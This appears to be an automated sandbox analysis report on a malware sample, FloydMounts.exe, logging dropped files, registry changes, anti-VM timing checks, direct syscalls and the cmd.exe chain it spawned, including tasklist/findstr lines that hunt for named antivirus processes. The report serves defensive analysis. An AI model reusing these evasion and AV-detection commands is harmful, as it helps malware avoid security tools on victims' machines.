Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: lz32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: oledlg.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: olepro32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\Desktop\FloydMounts.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: FloydMounts.exe

Static file information: File size 1391572 > 1048576

Source: FloydMounts.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: ulu_mon.exe, 0000002F.00000002.3157412427.0000000004283000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000002.3159720691.00000000045E0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ulu_mon.exe, 0000002F.00000002.3157412427.0000000004283000.00000004.00000020.00020000.00000000.sdmp, ulu_mon.exe, 0000002F.00000002.3159720691.00000000045E0000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\FloydMounts.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: X4PCDQPDT1B8IDPB7SN83.tmp.19.dr	Static PE information: real checksum: 0x33908a should be: 0x33ab8c
Source: X4PCDQPDT1B8IDPB7SN83.tmp.17.dr	Static PE information: real checksum: 0x33908a should be: 0x33ab8c
Source: FloydMounts.exe	Static PE information: real checksum: 0x160af0 should be: 0x16242b

Source: X4PCDQPDT1B8IDPB7SN83.exe.11.dr	Static PE information: section name: .didata
Source: X4PCDQPDT1B8IDPB7SN83.tmp.17.dr	Static PE information: section name: .didata
Source: X4PCDQPDT1B8IDPB7SN83.tmp.19.dr	Static PE information: section name: .didata

Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Code function: 47_2_0052A977 push eax; iretd	47_2_0052A979
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Code function: 47_2_0052B761 push eax; iretd	47_2_0052B76A
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Code function: 47_2_0052BD01 push eax; iretd	47_2_0052BD0A
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Code function: 47_2_0052BB30 pushfd ; iretd	47_2_0052BB33
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Code function: 47_2_0052A9E1 pushad ; ret	47_2_0052AA2A

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\174436\Produces.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	File created: C:\Users\user\AppData\Local\Temp\is-HQ019.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	File created: C:\Users\user\AppData\Local\Temp\is-7TFI6.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	File created: C:\Users\user\AppData\Roaming\UltraMedia\is-PGV92.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	File created: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	File created: C:\Users\user\AppData\Local\Temp\is-7TFI6.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	File created: C:\Users\user\AppData\Local\Temp\is-HQ019.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	File created: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	File created: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	File created: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com

System information queried: FirmwareTableInformation

Jump to behavior

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe

API/Special instruction interceptor: Address: 6C377C44

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	RDTSC instruction interceptor: First address: 6C37F3E1 second address: 6C37F3FD instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-20h], eax 0x00000005 mov dword ptr [ebp-1Ch], edx 0x00000008 lea esi, dword ptr [ebp-38h] 0x0000000b xor eax, eax 0x0000000d xor ecx, ecx 0x0000000f cpuid 0x00000011 mov dword ptr [esi], eax 0x00000013 mov dword ptr [esi+04h], ebx 0x00000016 mov dword ptr [esi+08h], ecx 0x00000019 mov dword ptr [esi+0Ch], edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe	RDTSC instruction interceptor: First address: 6C37F3FD second address: 6C37F3E1 instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-18h], eax 0x00000005 mov dword ptr [ebp-14h], edx 0x00000008 mov eax, dword ptr [ebp-18h] 0x0000000b sub eax, dword ptr [ebp-20h] 0x0000000e mov ecx, dword ptr [ebp-14h] 0x00000011 sbb ecx, dword ptr [ebp-1Ch] 0x00000014 add eax, dword ptr [ebp-10h] 0x00000017 adc ecx, dword ptr [ebp-0Ch] 0x0000001a mov dword ptr [ebp-10h], eax 0x0000001d mov dword ptr [ebp-0Ch], ecx 0x00000020 jmp 00007F69D8EDC4B5h 0x00000022 mov edx, dword ptr [ebp-04h] 0x00000025 add edx, 01h 0x00000028 mov dword ptr [ebp-04h], edx 0x0000002b cmp dword ptr [ebp-04h], 64h 0x0000002f jnl 00007F69D8EDC540h 0x00000031 rdtsc

Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-HQ019.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7TFI6.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7TFI6.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-HQ019.tmp\_isetup\_setup64.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com TID: 6524

Thread sleep time: -120000s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\FloydMounts.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\FloydMounts.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\174436\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\174436	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000002.2572655913.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: ulu_mon.exe, 0000002F.00000002.3162136925.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: X4PCDQPDT1B8IDPB7SN83.tmp, 00000012.00000002.2572655913.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y

Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\FloydMounts.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe

Code function: 47_2_00528A49 mov eax, dword ptr fs:[00000030h]

47_2_00528A49

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe

NtQuerySystemInformation: Direct from: 0x7B1A2F

Source: C:\Users\user\Desktop\FloydMounts.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Blvd Blvd.cmd & Blvd.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 174436	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Contribute	Jump to behavior
